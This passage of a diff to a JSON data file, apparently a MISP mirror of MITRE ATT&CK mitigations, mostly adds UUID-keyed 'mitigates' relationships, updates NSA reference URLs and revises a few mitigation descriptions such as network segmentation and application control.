restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", - "meta": { - "external_id": "T1491", - "refs": [ - "https://attack.mitre.org/mitigations/T1491", - "https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" - ] - }, - "related": [ - { - "dest-uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "5d8507c4-603e-4fe1-8a4a-b8241f58734b", - "value": "Defacement Mitigation - T1491" - }, { "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.", "meta": { @@ -7402,7 +9738,7 @@ "https://attack.mitre.org/mitigations/T1496", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -7428,7 +9764,7 @@ "https://www.ready.gov/business/implementation/IT", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -7566,14 +9902,126 @@ "type": "mitigates" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff", + "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e74de37c-a829-446c-937d-56a44f0e9306", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d4b96d2c-1032-4b22-9235-2b5b649d0605", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "06c00069-771a-4d57-8ef5-d3718c1a8771", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7625,6 +10073,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "7bb5fae9-53ad-4424-866b-f0ea2a8b731d", @@ -7770,6 +10246,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d3bc5020-f6a2-41c0-8ccb-5e563101b60c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "bcecd036-f40e-4916-9f8e-fd0ccf0ece8d", @@ -7810,7 +10307,7 @@ "value": "Lock Bootloader - M1003" }, { - "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", + "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.", "meta": { "external_id": "M1030", "refs": [ @@ -7971,6 +10468,118 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "79a4052e-1a89-4b09-aea6-51f1d11fe19c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "86598de0-b347-4928-9eb0-0acbfc21908c", @@ -8034,13 +10643,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ @@ -8250,6 +10852,55 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d3bc5020-f6a2-41c0-8ccb-5e563101b60c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "1553b156-6767-47f7-9eb4-2a692505666d", @@ -8333,6 +10984,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "d2a24649-9694-4c97-9c62-ce7b270bf6a3", @@ -8430,6 +11102,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "653492e3-27be-4a0e-b08c-938dd2b7e0e1", @@ -8554,7 +11240,7 @@ "https://attack.mitre.org/mitigations/T1014", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -8698,6 +11384,111 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "3d1b9d7e-3921-4d25-845a-7d9f15c0da44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a9e2cea0-c805-4bf8-9e31-f5f0513a3634", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bf147104-abf9-4221-95d1-e81585859441", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "191cc6af-1bb2-4344-ab5f-28e496638720", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "e5d930e9-775a-40ad-9bdb-b941d8dfe86b", @@ -8732,6 +11523,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "191cc6af-1bb2-4344-ab5f-28e496638720", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "15437c6d-b998-4a36-be41-4ace3d54d266", @@ -8884,6 +11689,132 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "e5cc9e7a-e61a-46a1-b869-55fb6eab058e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7ad38ef1-381a-406d-872a-38b136eb5ecc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", @@ -9098,6 +12029,202 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3120b9fa-23b8-4500-ae73-09494f607b7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d273434a-448e-4598-8e14-607f4a0d5e27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6151cbea-819b-455a-9fa6-99a1cc58797d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "90c218c3-fbf8-4830-98a7-e8cfb7eaa485", @@ -9174,6 +12301,41 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0cfe31a7-81fc-472c-bc45-e2808d1066a3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1988cc35-ced8-4dad-b2d1-7628488fa967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "3efe43d1-6f3f-4fcb-ab39-4a730971f70b", @@ -9187,7 +12349,7 @@ "https://attack.mitre.org/mitigations/T1036", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -9205,7 +12367,7 @@ "value": "Masquerading Mitigation - T1036" }, { - "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", + "description": "Block execution of code on a system through application control, and/or script blocking.", "meta": { "external_id": "M1038", "refs": [ @@ -9290,13 +12452,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", "tags": [ @@ -9436,6 +12591,272 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2cd950a6-16c4-404a-aa01-044322395107", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c48a67ee-b657-45c1-91bf-6cdbe27205f8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": 